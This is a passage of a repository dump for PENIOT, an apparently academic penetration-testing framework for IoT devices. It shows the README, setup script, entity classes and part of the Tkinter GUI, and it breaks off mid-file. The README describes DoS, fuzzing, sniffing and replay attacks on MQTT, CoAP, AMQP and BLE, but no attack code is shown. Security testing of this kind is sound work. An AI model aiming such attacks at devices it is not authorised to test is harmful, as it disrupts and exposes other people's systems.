Repository: yakuza8/peniot
Branch: master
Commit: fd1c644653a7
Files: 116
Total size: 418.4 KB
Directory structure:
gitextract_1myw_xe2/
├── .gitignore
├── LICENSE
├── README.md
├── setup.py
└── src/
├── Entity/
│ ├── __init__.py
│ ├── attack.py
│ ├── attack_suite.py
│ ├── input_format.py
│ └── protocol.py
├── GUI/
│ ├── __init__.py
│ ├── custom_widgets.py
│ ├── hard_coded_texts.py
│ ├── tkinter.py
│ └── utils.py
├── Utils/
│ ├── CommonUtil/
│ │ └── __init__.py
│ ├── ExtendUtil/
│ │ ├── __init__.py
│ │ ├── export_attack_suite_template.py
│ │ ├── export_attack_template.py
│ │ ├── export_protocol_template.py
│ │ ├── export_util.py
│ │ └── import_util.py
│ ├── FilterUtil/
│ │ ├── __init__.py
│ │ └── pyshark_filter_util.py
│ ├── FuzzerUtil/
│ │ ├── __init__.py
│ │ └── radamsa_util.py
│ ├── RandomUtil/
│ │ ├── __init__.py
│ │ └── random_generated_names.py
│ ├── ReportUtil/
│ │ ├── __init__.py
│ │ └── report_generator.py
│ ├── SnifferUtil/
│ │ ├── __init__.py
│ │ └── generic_sniffer.py
│ └── __init__.py
├── __init__.py
├── captured_packets/
│ └── __init__.py
├── module_installer.py
├── peniot.py
└── protocols/
├── AMQP/
│ ├── __init__.py
│ ├── amqp_protocol.py
│ ├── amqp_scanner.py
│ ├── attacks/
│ │ ├── __init__.py
│ │ ├── amqp_dos_attack.py
│ │ ├── amqp_fuzzing_attack_suite.py
│ │ ├── amqp_payload_size_fuzzer.py
│ │ └── amqp_random_payload_fuzzing.py
│ └── examples/
│ ├── __init__.py
│ ├── receiver_example.py
│ └── sender_example.py
├── BLE/
│ ├── Adafruit_BLESniffer/
│ │ ├── .gitignore
│ │ ├── API Manifest.txt
│ │ ├── LICENSE.txt
│ │ ├── README.md
│ │ ├── SnifferAPI/
│ │ │ ├── CaptureFiles.py
│ │ │ ├── Devices.py
│ │ │ ├── Exceptions.py
│ │ │ ├── Logger.py
│ │ │ ├── Notifications.py
│ │ │ ├── Packet.py
│ │ │ ├── Sniffer.py
│ │ │ ├── SnifferCollector.py
│ │ │ ├── UART.py
│ │ │ ├── Version.py
│ │ │ ├── __init__.py
│ │ │ └── myVersion.py
│ │ ├── __init__.py
│ │ ├── documentation.html
│ │ ├── requirements.txt
│ │ ├── setup.cfg
│ │ ├── sniffer.py
│ │ ├── sniffer_uart_protocol.xlsx
│ │ └── wireshark_dissector_source/
│ │ ├── OSX/
│ │ │ └── readme.md
│ │ ├── packet-btle.c
│ │ └── packet-nordic_ble.c
│ ├── BLETest.py
│ ├── __init__.py
│ ├── attacks/
│ │ ├── __init__.py
│ │ ├── ble_replay_attack.py
│ │ └── ble_sniff_attack.py
│ ├── ble_advertiser.py
│ ├── ble_device.py
│ ├── ble_protocol.py
│ ├── ble_replay_attack.py
│ ├── ble_sniff.py
│ └── ble_tools.py
├── CoAP/
│ ├── __init__.py
│ ├── attacks/
│ │ ├── __init__.py
│ │ ├── coap_dos_attack.py
│ │ ├── coap_fuzzing_attack_suite.py
│ │ ├── coap_payload_size_fuzzer.py
│ │ ├── coap_random_payload_fuzzing.py
│ │ ├── coap_replay_attack.py
│ │ └── coap_sniff_attack.py
│ ├── coap_protocol.py
│ ├── coap_scanner.py
│ └── examples/
│ ├── __init__.py
│ ├── client_example.py
│ ├── resource_example.py
│ └── server_example.py
├── MQTT/
│ ├── __init__.py
│ ├── attacks/
│ │ ├── __init__.py
│ │ ├── mqtt_dos_attack.py
│ │ ├── mqtt_fuzzing_attack_suite.py
│ │ ├── mqtt_generation_based_fuzzing.py
│ │ ├── mqtt_payload_size_fuzzer.py
│ │ ├── mqtt_random_payload_fuzzing.py
│ │ ├── mqtt_replay_attack.py
│ │ ├── mqtt_sniff_attack.py
│ │ └── mqtt_topic_name_fuzzing.py
│ ├── examples/
│ │ ├── Demo/
│ │ │ ├── __init__.py
│ │ │ ├── demo_publisher.py
│ │ │ └── demo_subscriber.py
│ │ ├── __init__.py
│ │ ├── publisher_example.py
│ │ └── subscriber_example.py
│ ├── mqtt_protocol.py
│ └── mqtt_scanner.py
└── __init__.py
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class
# C extensions
*.so
# Distribution / packaging
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
*.egg-info/
.installed.cfg
*.egg
MANIFEST
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# Unit test / coverage reports
htmlcov/
.tox/
.nox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
.hypothesis/
.pytest_cache/
# Translations
*.mo
*.pot
# Django stuff:
*.log
local_settings.py
db.sqlite3
# Flask stuff:
instance/
.webassets-cache
# Scrapy stuff:
.scrapy
# Sphinx documentation
docs/_build/
# PyBuilder
target/
# Jupyter Notebook
.ipynb_checkpoints
# IPython
profile_default/
ipython_config.py
# pyenv
.python-version
# celery beat schedule file
celerybeat-schedule
# SageMath parsed files
*.sage.py
# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/
# Spyder project settings
.spyderproject
.spyproject
# Rope project settings
.ropeproject
# mkdocs documentation
/site
# IntelliJ
.idea/
/out/
src/logging.conf
================================================
FILE: LICENSE
================================================
MIT License
Copyright (c) 2018 Berat Cankar, Bigehan Bingöl, Doğukan Çavdaroğlu, Ebru Çelebi
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================
FILE: README.md
================================================
# PENIOT: Penetration Testing Tool for IoT
#### Table of Contents
* [Project Description](#Project-Description)
* [What is PENIOT?](#What-is-PENIOT)
* [Why is PENIOT required?](#Why-is-PENIOT-required)
* [What does PENIOT provide?](#What-does-PENIOT-provide)
* [Build Instructions](#Build-Instructions)
* [Documentation](#Documentation)
* [Testing](#Testing)
* [Contributors](#Contributors)
* [Developer's Note](#Developers-Note)
* [Project Poster](#Project-Poster)
## Project Description
### What is PENIOT?
[PENIOT](https://senior.ceng.metu.edu.tr/2019/peniot/) is a penetration testing tool for Internet of Things (IoT) devices.
It helps you to test/penetrate your devices by targeting their internet connectivity
with different types of security attacks. In other words, you can expose your device
to both active and passive security attacks. After deciding target device and necessary
information (or parameters) of that device, you can perform active security attacks like
altering/consuming system resources, replaying valid communication units and so on.
Also, you can perform passive security attacks such as breaching of confidentiality of
important information or reaching traffic analysis. Thanks to PENIOT, all those operations
can be semi-automated or even fully automated. In short, PENIOT is a package/framework for
targeting IoT devices with protocol based security attacks.
Also, it gives you a baseline structure for your further injections of new security attacks
or new IoT protocols. One of the most important features of PENIOT is being extensible.
By default, it has several common IoT protocols and numerous security attacks related to
those protocols. But, it can be extended further via exporting basic structure of internally
used components so that you can develop your attacks in harmony with the internal structure
of the PENIOT.
### Why is PENIOT required?
The IoT paradigm has experienced immense growth in the past decade, with billions of devices
connected to the Internet. Most of these devices lack even basic security measures due to
their capacity constraints and designs made without security in mind due to the shortness
of time-to-market. Due to the high connectivity in IoT, attacks that have devastating
effects in extended networks can easily be launched by hackers through vulnerable devices.
Up until now, penetration testing was done manually if it was not ignored at all.
This procedure made testing phase of devices very slow. On the other hand, the firms which
produce IoT devices should always be up to date on testing their devices in terms of
reliability, robustness as well as their provided functionalities since being exposed to
security attacks by malicious people could cause unexpected impacts on end-users.
The main aim of PENIOT is to accelerate the process of security testing. It enables you to
figure out security flaws on your IoT devices by automating the time consuming penetration
testing phase.
### What does PENIOT provide?
First of all, PENIOT provides novelty. It is one of the first examples of penetration testing
tools on IoT field. There are only one or two similar tools which are specialized on IoT,
but they are still on development phase, so not completed yet.
Since the number of IoT devices is increasing drastically, IoT devices become more and more
common in our daily life. Smart homes, smart bicycles, medical sensors, fitness trackers,
smart locks and connected factories are just a few examples of IoT products. Given this,
we felt the need to choose some of the most commonly used IoT protocols to plant into PENIOT
by default. We chose the following protcols as the default IoT protocols included in the
PENIOT. These IoT protocols are tested with various types of security attacks such as DoS,
Fuzzing, Sniffing and Replay attacks.
Following protocols are currently supported:
* Advanced Message Queuing Protocol ([AMQP](https://www.amqp.org/))
* Bluetooth Low Energy ([BLE](https://www.bluetooth.com/))
* Constraint Application Protocol ([CoAP](https://coap.technology/))
* Message Queuing Telemetry Transport ([MQTT](http://mqtt.org/))
Moreover, it enables you to export internal mainframe of its own implemented protocol and
attacks to implement your own protocols or attacks. Also, you can extend already existing
protocols with your newly implemented attacks. And lastly, it provides you an easy to use,
user friendly graphical user interface.
## Build Instructions
Firstly, you need to have Python's **setuptools** module installed in your machine. Also,
you need to install **python-tk** and **[bluepy](https://github.com/IanHarvey/bluepy)**
before installation and build.
In short, you need the followings before running installation script.
* setuptools
* python-tk
* bluepy
> Note that it is suggested to have a separate virtual environment particularly created
> for Peniot since the dependent libraries are pretty old and can cause some trouble to
> install them among your existing external libraries
You can build project in your local by executing following codes.
```shell
$ git clone git@github.com:yakuza8/peniot.git
$ cd peniot
$ python setup.py install
```
Even if we try to provide you up-to-date installation script, there can be some missing parts in
it since the project cannot be maintained so long. Please inform us if there is any problem
with installation.
**Important Note**: You need to have [Radamsa](https://gitlab.com/akihe/radamsa) installed
in your machine in order for generating fuzzing payloads in fuzzing attacks.
## Execution
You can run Peniot via command line or your favorite IDE after setting up a virtual environment and
installing the necessary libraries described above.
```shell
$ python src/peniot.py
```
After running this command, you should see an user interface appeared. Then you can explore the tool
by yourself.
## Documentation
You can find *Design Overview Document* and *Final Design Document* under the **resources/documents** folder.
Several diagrams are attached under the **resources/diagrams** folder. Here is the simplest
representation of how PENIOT is separated modules and how it is designed.
## Testing
Most of the attacks have their own sample integration tests under their attack scripts. In
order to run those tests, you need to have a running program for the target protocol. We try to
provide you with example programs for each protocol where one can find server/client scripts
under each protocol's **examples** directory.
## Contributors
This project is contributed by the following project members:
- Berat Cankar
- Bilgehan Bingöl
- Doğukan Çavdaroğlu
- Ebru Çelebi
and is supervised by **Pelin Angın**.
## Developer's Note
Firstly, let me thank you for visiting our project site. We tried to provide you how one can
penetrate and hack IoT devices over the protocols they use thanks to end-to-end security attacks.
Our main purpose is to hack those devices with generic security attacks. One can simply find
specific attacks for any protocol, but as I said ours was to provide generic and extendable
penetration framework.
Secondly, PENIOT is developed with **Python2.7**. And our code maybe had gone into *legacy state*.
But nevertheless, we wanted to share it to public so that anyone could get insight and
inspiration to develop their own penetration tools, that is what makes us happy if it could happen.
Thirdly, we also will try to port our tool into **Python3** if we can spare necessary time for that.
When it happens, we will inform it from this page as well. Thanks for your attention.
Developer: @yakuza8 (Berat Cankar)
## Project Poster
================================================
FILE: setup.py
================================================
from os import path
from setuptools import setup, find_packages
import sys
sys.path.insert(0, "src")
with open(path.join(".", "README.md")) as f:
long_description = f.read()
setup(
name="Peniot",
version="1.0",
description="Penetration Testing Tool for IoT devices",
long_description=long_description,
author="Berat Cankar,Bilgehan Bingol,Ebru Celebi,Dogukan Cavdaroglu",
url="https://senior.ceng.metu.edu.tr/2019/peniot/",
platform="Unix",
packages=find_packages(),
include_package_data=True,
install_requires=[
"Cython",
"paho-mqtt",
"scapy",
"pyshark-legacy",
"coapthon",
"fpdf",
"pygame==1.9.4",
"pika",
"pexpect",
"enum",
],
classifiers=["Programming Language :: Python :: 2.7.9"],
)
================================================
FILE: src/Entity/__init__.py
================================================
"""
This package contains the following entities:
1) Protocol
2) Attack Suite
3) Attack
4) Input Format
In this module, we have the backend entities to represent and structure our code
And these entities have the following relations in between: (Connection endpoints represent cardinality of entity)
- Protocol 1----------* Attack Suite
- Attack suite 1----------* Attack
- Attack 1----------* Input format
"""
================================================
FILE: src/Entity/attack.py
================================================
import logging
from GUI import hard_coded_texts as hct
class Attack(object):
name = None
inputs = []
default_parameters = []
def __init__(self, name, inputs, default_parameters, definition, logger=None):
self.name = name
self.inputs = inputs
self.default_parameters = default_parameters
self.definition = definition
if logger is None:
self.logger = logging.getLogger(hct.get_logger_name())
else:
self.logger = logging.getLogger("Default logger")
# Load default parameters into input format values
self.load_default_parameters()
def get_attack_name(self):
return self.name
def set_attack_name(self, name):
self.name = name
return self
def get_inputs(self):
return self.inputs
def set_inputs(self, inputs):
self.inputs = inputs
return self
def insert_input(self, _input):
if self.inputs is not None:
self.inputs.append(_input)
def get_default_parameters(self):
return self.default_parameters
def set_default_parameters(self, default_parameters):
self.default_parameters = default_parameters
return self
def insert_default_parameters(self, _default_parameter):
if self.default_parameters is not None:
self.default_parameters.append(_default_parameter)
def get_definition(self):
return self.definition
def set_definition(self, definition):
self.definition = definition
def set_input_value(self, input_name):
for _input in self.inputs:
if _input.get_name() == input_name:
setattr(self, _input.get_name(), _input.get_value())
def run(self):
# Set all the input values of the class, then show begins
for _input in self.inputs:
setattr(self, _input.get_name(), _input.get_value())
# Will be filled by inherited class
def stop_attack(self):
pass # Will be filled by attacks
def load_default_parameters(self):
for _input_index, _input in enumerate(self.inputs):
_input.set_value(self.default_parameters[_input_index])
================================================
FILE: src/Entity/attack_suite.py
================================================
class AttackSuite(object):
name = None
attacks = []
def __init__(self, name, attacks):
self.name = name
self.attacks = attacks
def get_attack_suite_name(self):
return self.name
def set_attack_suite_name(self, name):
self.name = name
return self
def get_attacks(self):
return self.attacks
def set_attacks(self, attacks):
self.attacks = attacks
return self
def insert_attack(self, attack):
if self.attacks is not None:
self.attacks.append(attack)
def run(self):
for attack in self.attacks:
attack.run()
================================================
FILE: src/Entity/input_format.py
================================================
class InputFormat(object):
def __init__(self, label_name, name, value, _type, default_value=None, mandatory=False, secret=False,
from_captured_packets=False):
self.label_name = label_name
self.name = name
self.value = value
self.type = _type
self.mandatory = mandatory
self.default_value = default_value
self.secret = secret
self.from_captured_packets = from_captured_packets
def get_label_name(self):
return self.label_name
def set_label_name(self, label_name):
self.label_name = label_name
return self
def get_name(self):
return self.name
def set_name(self, name):
self.name = name
return self
def get_value(self):
return self.value
def set_value(self, value):
self.value = value
return self
def get_type(self):
return self.type
def set_type(self, _type):
self.type = _type
return self
def set_mandatory(self, mandadory):
self.mandatory = mandadory
return self
def is_mandatory(self):
return self.mandatory
def set_default_value(self, default_value):
self.default_value = default_value
return self
def get_default_value(self):
return self.default_value
def is_secret(self):
return self.secret
def set_secret(self, secret):
self.secret = secret
return self
def is_from_captured_packets(self):
return self.from_captured_packets
def set_from_captured_packets(self, from_captured_packets):
self.from_captured_packets = from_captured_packets
return self
================================================
FILE: src/Entity/protocol.py
================================================
class Protocol(object):
name = None
attack_suites = []
def __init__(self, name, attack_suites, definition):
self.name = name
self.attack_suites = attack_suites
self.definition = definition
def get_protocol_name(self):
return self.name
def set_protocol_name(self, name):
self.name = name
return self
def get_attack_suites(self):
return self.attack_suites
def set_attack_suites(self, attack_suites):
self.attack_suites = attack_suites
return self
def get_definition(self):
return self.definition
def set_definition(self, new_def):
self.definition = new_def
return self
def insert_attack_suite(self, attack_suite):
if self.attack_suites is not None:
self.attack_suites.append(attack_suite)
================================================
FILE: src/GUI/__init__.py
================================================
"""
This package includes graphical user interface of PENIOT
"""
================================================
FILE: src/GUI/custom_widgets.py
================================================
from Tkinter import *
from hard_coded_texts import get_project_name
class Header(Frame):
"""
Generic header template class which is used for construction of different screens
"""
def __init__(self, parent_window):
Frame.__init__(self, parent_window)
# Configure the window
self.configure(background="white")
# Create the header
header = Label(self, text=get_project_name(), width=55, font=("Arial", 20), height=5)
header.grid()
header.configure(background="white")
class CustomButton(Button):
"""
Generic button template to use them throughout the screens
"""
def __init__(self, parent_window, text, _function, row, columnspan=None, sticky=None, column=None, height=2,
foreground="black"):
Button.__init__(self, parent_window, command=_function, text=text, font=("Arial", 15), borderwidth=0,
height=height, highlightthickness=0, background="white", foreground=foreground)
self.grid(row=row, columnspan=columnspan, sticky=sticky, column=column)
class CustomLabel(Label):
"""
Generic label template to use them throughout the screens
"""
def __init__(self, parent_window, text, row, column, rowspan=None, columnspan=None, sticky=None):
Label.__init__(self, parent_window, text=text, font=("Arial", 15))
self.grid(row=row, column=column, rowspan=rowspan, columnspan=columnspan, sticky=sticky)
class CustomRadiobutton(Radiobutton):
"""
Generic radio button template to use them throughout the screens
"""
def __init__(self, parent_window, text, row, column, sticky, variable, value):
Radiobutton.__init__(self, parent_window, text=text, font=("Arial", 13), variable=variable, value=value)
self.grid(row=row, column=column, sticky=sticky)
================================================
FILE: src/GUI/hard_coded_texts.py
================================================
"""
This file contains some methods which return hard-coded texts and constant texts
"""
# Window title, size and background color
project_title = "Peniot"
window_size = "800x650"
window_background_color = "white"
mandatory_fields_background_color = "red"
# Button labels
start_testing_label = "Start Testing"
extend_peniot_label = "Extend Peniot"
view_captured_packets = "View Captured Packets"
help_label = "Help"
back_to_menu_label = "Back to menu"
about_us_label = "About us"
footer_label = "2018-2019 CENG Term Project"
go_to_input_page = "Go to input page"
back_to_attack_selection_page = "Back to attacks selection"
back_to_attack_suite_page = "Back to the attack suite page"
back_to_attack_details = "Back to attacks details"
perform_attack = "Perform the attack"
load_default_parameters = "Load default parameters"
stop_attack_go_back = "Stop the attack and go back"
generate_report = "Generate report"
# Settings for logger
logging_format = "%(asctime)s:%(levelname)s:%(name)s:%(message)s"
logger_name = "Attack Reporting Page"
# Color for the console
console_background_color = "black"
console_foreground_color = "white"
def get_project_name():
return "Peniot:Penetration testing tool for Internet of Things"
def get_about_us():
return "The developers of PENIOT project are the following : \n" \
" Berat Cankar\n" \
" Bilgehan Bingol\n" \
" Dogukan Cavdaroglu\n" \
" Ebru Celebi\n" \
"The supervisor of the project is :\n" \
" Asst. Prof. Dr. Pelin Angin "
def get_help():
return "PENIOT enables users to test their IoT devices.For now,it supports the \n" \
"following protocols:\n" \
" * MQTT\n" \
" * CoAP\n" \
" * BLE\n" \
" * AMQP\n" \
"For each protocol, there is at least one attack.After selecting protocol\n" \
"and attacks, you just need to provide some information about your\n" \
"device or network.PENIOT will handle the rest while you are resting.\n" \
"At the end, it will provide a report which states the results of the performed attack.\n"
def get_extension_help():
return "Extension utility which enables you to export internal structure of entities\n" \
"(Attack, AttackSuite and Protocol) or import your implemented entities into\n" \
"Peniot so that you can simulate/execute your own implementations."
def get_logger_name():
"""
Returns the logger name we will use for reporting the attack results
"""
return logger_name
================================================
FILE: src/GUI/tkinter.py
================================================
import logging
import tkFileDialog
import ttk
from threading import Timer
from custom_widgets import *
from hard_coded_texts import *
from utils import *
from Entity.attack import Attack
from Entity.attack_suite import AttackSuite
from Utils import CommonUtil
from Utils.ExtendUtil.export_util import ExportUtil, ExportOptions
from Utils.ExtendUtil.import_util import ImportUtil, ImportOptions
from Utils.ReportUtil.report_generator import GenerateReport
root = None
class HomePage(Frame):
"""
This is the first page which users see when they start the application.
It simply contains a menu with the following options:
- Start Testing
- Help
- About us
"""
def __init__(self, parent_window):
Frame.__init__(self, parent_window)
# Configure the window
self.configure(background=window_background_color)
# Create the header
Header(self).grid(row=0)
# Start testing button
CustomButton(self, start_testing_label, lambda: change_frame(self, ProtocolsPage(root)), 1)
# Extension button
CustomButton(self, extend_peniot_label, lambda: change_frame(self, ExtensionPage(root)), 2)
# View captured packets button
CustomButton(self, view_captured_packets, lambda: change_frame(self, ViewCapturedPackets(root)), 3)
# Help button
CustomButton(self, help_label, lambda: change_frame(self, Help(root)), 4)
# About us button
CustomButton(self, about_us_label, lambda: change_frame(self, AboutUs(root)), 5)
# Footer
footer = Label(self, text=footer_label, width=55, font=("Arial", 20), height=5)
footer.grid(row=6)
footer.configure(background=window_background_color)
# Make it visible
self.grid()
class AboutUs(Frame):
"""
This page displays information about the developers of the project.
"""
def __init__(self, parent_window):
Frame.__init__(self, parent_window)
# Configure the window
self.configure(background=window_background_color)
# Create the header
Header(self).grid(row=0)
# Information about us
info_about_us = Label(self, text=get_about_us(), width=55, anchor=W, justify=LEFT, font=("Arial", 15),
height=10)
info_about_us.grid(row=1)
info_about_us.configure(background=window_background_color)
# Back to menu button
CustomButton(self, back_to_menu_label, lambda: change_frame(self, HomePage(root)), 2)
# Make it visible
self.grid()
class Help(Frame):
"""
This page displays information about the tool.
"""
def __init__(self, parent_window):
Frame.__init__(self, parent_window)
# Configure the window
self.configure(background=window_background_color)
# Create the header
Header(self).grid(row=0)
# Information about us
info_about_us = Label(self, text=get_help(), width=70, anchor=W, justify=LEFT, font=("Arial", 15), height=10)
info_about_us.grid(row=1)
info_about_us.configure(background=window_background_color)
# Back to menu button
CustomButton(self, back_to_menu_label, lambda: change_frame(self, HomePage(root)), 2)
# Make it visible
self.grid()
class ViewCapturedPackets(Frame):
"""
This page enables users to download captured packets.
"""
CAPTURED_PACKET_PATH = os.path.dirname(os.path.abspath(__file__))[:-4] + "/captured_packets/"
def __init__(self, parent_window):
Frame.__init__(self, parent_window)
# Generate content
self.generate_content()
# Make it visible
self.grid()
def generate_content(self):
"""
This method is used to generate rows representing the files
"""
# Destroy the existing widgets
for widget in self.winfo_children():
widget.destroy()
# Configure the window
self.configure(background=window_background_color)
# Create the header
Header(self).grid(row=0, columnspan=4)
# Row index
row_index = 1
# Get the file names
file_names = get_captured_packet_files()
for file_name in file_names:
# Remove .txt part
file_name_without_extension = file_name[:-4]
info = file_name_without_extension.split("_")
# Protocol name
protocol_name = Label(self, text=info[0])
protocol_name.grid(row=row_index, column=0)
protocol_name.configure(background=window_background_color)
# Date
date = Label(self, text=info[1] + " " + info[2])
date.grid(row=row_index, column=1)
date.configure(background=window_background_color)
# Download button
CustomButton(self, "Download", lambda file_name=file_name: self.download_file(file_name), row_index, None,
None, 2)
# Delete button
print file_name
CustomButton(self, "Delete", lambda file_name=file_name: self.delete_captured_packets_file(file_name),
row_index, None,
None, 3)
# Increment row index
row_index = row_index + 1
# Back to menu button
CustomButton(self, back_to_menu_label, lambda: change_frame(self, HomePage(root)), row_index, 3)
self.grid()
def delete_captured_packets_file(self, file_name):
"""
This method is used to delete a captured packets file
"""
os.remove(self.CAPTURED_PACKET_PATH + file_name)
# Generate content
self.generate_content()
def download_file(self, file_name):
"""
This methods is used to export the selected packets file.
"""
# Get the directory
directory_name = tkFileDialog.askdirectory(initialdir=os.getcwd(), title="Select directory to download packets")
try:
# Read the file
packets_file = os.open(os.path.dirname(os.path.abspath(__file__))[:-4] + "/captured_packets/" + file_name,
os.O_RDONLY)
# Open a file
new_file = os.open(directory_name + "/" + file_name, os.O_RDWR | os.O_CREAT)
# Copy the file content
while True:
data = os.read(packets_file, 2048)
if not data:
break
os.write(new_file, data)
# Close the files
os.close(packets_file)
os.close(new_file)
# Create pop-up
pop_up_window(root, None, "Downloaded successfully")
except Exception as e:
if len(directory_name) == 0:
return
else:
pop_up_window(root, None, "Download operation is failed because of\n{0}".format(e), justify=CENTER)
class ProtocolsPage(Frame):
"""
This page displays the possible options for protocols.
"""
def __init__(self, parent_window):
Frame.__init__(self, parent_window)
# Configure the window
self.configure(background=window_background_color)
# Create the header
Header(self).grid(row=0, columnspan=2)
# Get protocols
protocols = get_protocols()
# Current row index
row_index = 1
# Create a button for each protocols
for protocol in protocols:
# Create the button for the protocol
CustomButton(self, protocol["protocol"].get_protocol_name(),
lambda selected_protocol=protocol: change_frame(self, AttacksPage(root,
selected_protocol)),
row_index, None, E, 0)
CustomButton(self, "?",
lambda selected_protocol=protocol: pop_up_window(root,
selected_protocol[
"protocol"].get_protocol_name(),
selected_protocol[
"protocol"].get_definition()),
row_index, None, W, 1)
# Increment the row index
row_index = row_index + 1
# Back to menu button
CustomButton(self, back_to_menu_label, lambda: change_frame(self, HomePage(root)), row_index, 2)
# Make it visible
self.grid()
class ExtensionPage(Frame):
"""
This page displays the extension options and help button that explains how to extend for PENIOT.
"""
def __init__(self, parent_window):
Frame.__init__(self, parent_window)
# Configure the window
self.configure(background=window_background_color)
# Create the header
Header(self).grid(row=0, columnspan=2)
# Current row index
row_index = 1
# Export button
CustomButton(self, "Export", lambda: change_frame(self, ExportPage(root)), row_index, None, E, 0)
row_index = row_index + 1
# Import button
CustomButton(self, "Import", lambda: change_frame(self, ImportPage(root)), row_index, None, E, 0)
row_index = row_index + 1
# Help button
CustomButton(self, help_label, lambda: change_frame(self, ExtensionHelp(root)), row_index, 2)
row_index = row_index + 1
# Back to menu button
CustomButton(self, back_to_menu_label, lambda: change_frame(self, HomePage(root)), row_index, 2)
# Make it visible
self.grid()
class ImportPage(Frame):
"""
These pages make the user select import or export options
"""
def __init__(self, parent_window):
Frame.__init__(self, parent_window)
self.file_path = ""
self.option = ImportOptions.ATTACK_OR_ATTACK_SUITE
# Configure the window
self.configure(background=window_background_color)
# Create the header
Header(self).grid(row=0, columnspan=4)
row_index = 1
CustomLabel(self, text="Option:", row=row_index, column=0, sticky=E)
option_combo_box = ttk.Combobox(self, values=["Protocol", "Attack or Attack Suite"], font=("Arial", 15))
option_combo_box.grid(row=row_index, column=1, sticky=W + E, columnspan=2)
option_combo_box.bind("<>",
lambda x: combobox_element_changed(option_combo_box, protocol_name_label,
self.protocol_name_combo_box))
option_combo_box.current(1)
row_index = row_index + 1
protocol_name_label = CustomLabel(self, text="Protocol Name:", row=row_index, column=0, sticky=E)
self.protocol_name_combo_box = ttk.Combobox(self, font=("Arial", 15))
self.protocol_name_combo_box.grid(row=row_index, column=1, sticky=W + E, columnspan=2)
self.protocol_name_combo_box.bind("<>",
lambda x: combobox_protocol_name_changed(self.protocol_name_combo_box))
row_index = row_index + 1
# Names of available protocols
self.protocol_names = []
# Get protocol names
self.get_protocol_names()
self.selected_protocol = self.protocol_names[0]
CustomLabel(self, text="File Path:", row=row_index, column=0, sticky=E)
file_path_entry = Entry(self, font=("Arial", 15))
file_path_entry.grid(row=row_index, column=1, sticky=W + E, columnspan=2)
CustomButton(self, "Select File", lambda: get_file_path(file_path_entry), row_index, None, W, 3, height=1)
row_index = row_index + 1
CustomButton(self, "Import",
lambda: self.import_button_click(file_path_entry.get(), self.option, self.selected_protocol),
row_index, None, W, 3)
CustomButton(self, back_to_menu_label, lambda: change_frame(self, ExtensionPage(root)), row_index, None, E, 0)
for col in range(5):
self.columnconfigure(col, weight=1)
for row in range(8):
self.rowconfigure(row, weight=1)
self.grid()
def get_file_path(entry):
self.file_path = tkFileDialog.askopenfilename()
entry.delete(0, END)
entry.insert(0, self.file_path)
def combobox_element_changed(combo, label, combobox):
if combo.get() == "Protocol":
label.grid_forget()
combobox.grid_forget()
self.option = ImportOptions.PROTOCOL
else:
label.grid(row=2, column=0, sticky=E)
combobox.grid(row=2, column=1, sticky=W + E, columnspan=2)
self.option = ImportOptions.ATTACK_OR_ATTACK_SUITE
def combobox_protocol_name_changed(combo):
self.selected_protocol = combo.get()
def import_button_click(self, file_path, option, selected_protocol):
try:
if not os.path.isfile(file_path):
pop_up_window(root, None, "Please select a valid file.")
return
ImportUtil.import_action(file_path, option, selected_protocol)
# Update the protocol list since the user may import a new protocol
self.get_protocol_names()
pop_up_window(root, None, "Files are imported successfully")
except Exception as e:
pop_up_window(root, None, "Import operation is failed because of\n{0}".format(e), justify=CENTER)
def get_protocol_names(self):
protocols = get_protocols()
self.protocol_names = []
for protocol in protocols:
self.protocol_names.append(protocol["protocol"].get_protocol_name())
self.protocol_name_combo_box['values'] = self.protocol_names
class ExportPage(Frame):
def __init__(self, parent_window):
Frame.__init__(self, parent_window)
# Configure the window
self.configure(background=window_background_color)
# Create the header
Header(self).grid(row=0, columnspan=4)
s = ttk.Style()
s.configure(".", font=("Arial", 15))
tab_control = ttk.Notebook(self)
attack_tab = TabFrame(tab_control, ExportOptions.ATTACK)
tab_control.add(attack_tab, text="Attack")
attacksuite_tab = TabFrame(tab_control, ExportOptions.ATTACK_SUITE)
tab_control.add(attacksuite_tab, text="Attack Suite")
protocol_tab = TabFrame(tab_control, ExportOptions.PROTOCOL)
tab_control.add(protocol_tab, text="Protocol")
tab_control.grid(row=1, column=0, columnspan=4, rowspan=3, sticky=W + E + S + N)
CustomButton(self, back_to_menu_label, lambda: change_frame(self, ExtensionPage(root)), 7, None, E, 1)
self.grid()
class TabFrame(Frame):
def __init__(self, parent_window, option):
Frame.__init__(self, parent_window)
# Configure the window
self.configure(background=window_background_color)
self.file_path = None
row = 0
CustomLabel(self, text="Protocol Name:", row=row, column=1, sticky=E)
protocol_name_entry = Entry(self, font=("Arial", 15))
protocol_name_entry.grid(row=row, column=2, sticky=W + E, columnspan=2)
row = row + 1
attack_name_entry = Entry(self, font=("Arial", 15))
if option == ExportOptions.ATTACK:
CustomLabel(self, text="Attack Name:", row=row, column=1, sticky=E)
attack_name_entry.grid(row=row, column=2, sticky=W + E, columnspan=2)
row = row + 1
attack_suite_name_entry = Entry(self, font=("Arial", 15))
if option == ExportOptions.ATTACK_SUITE:
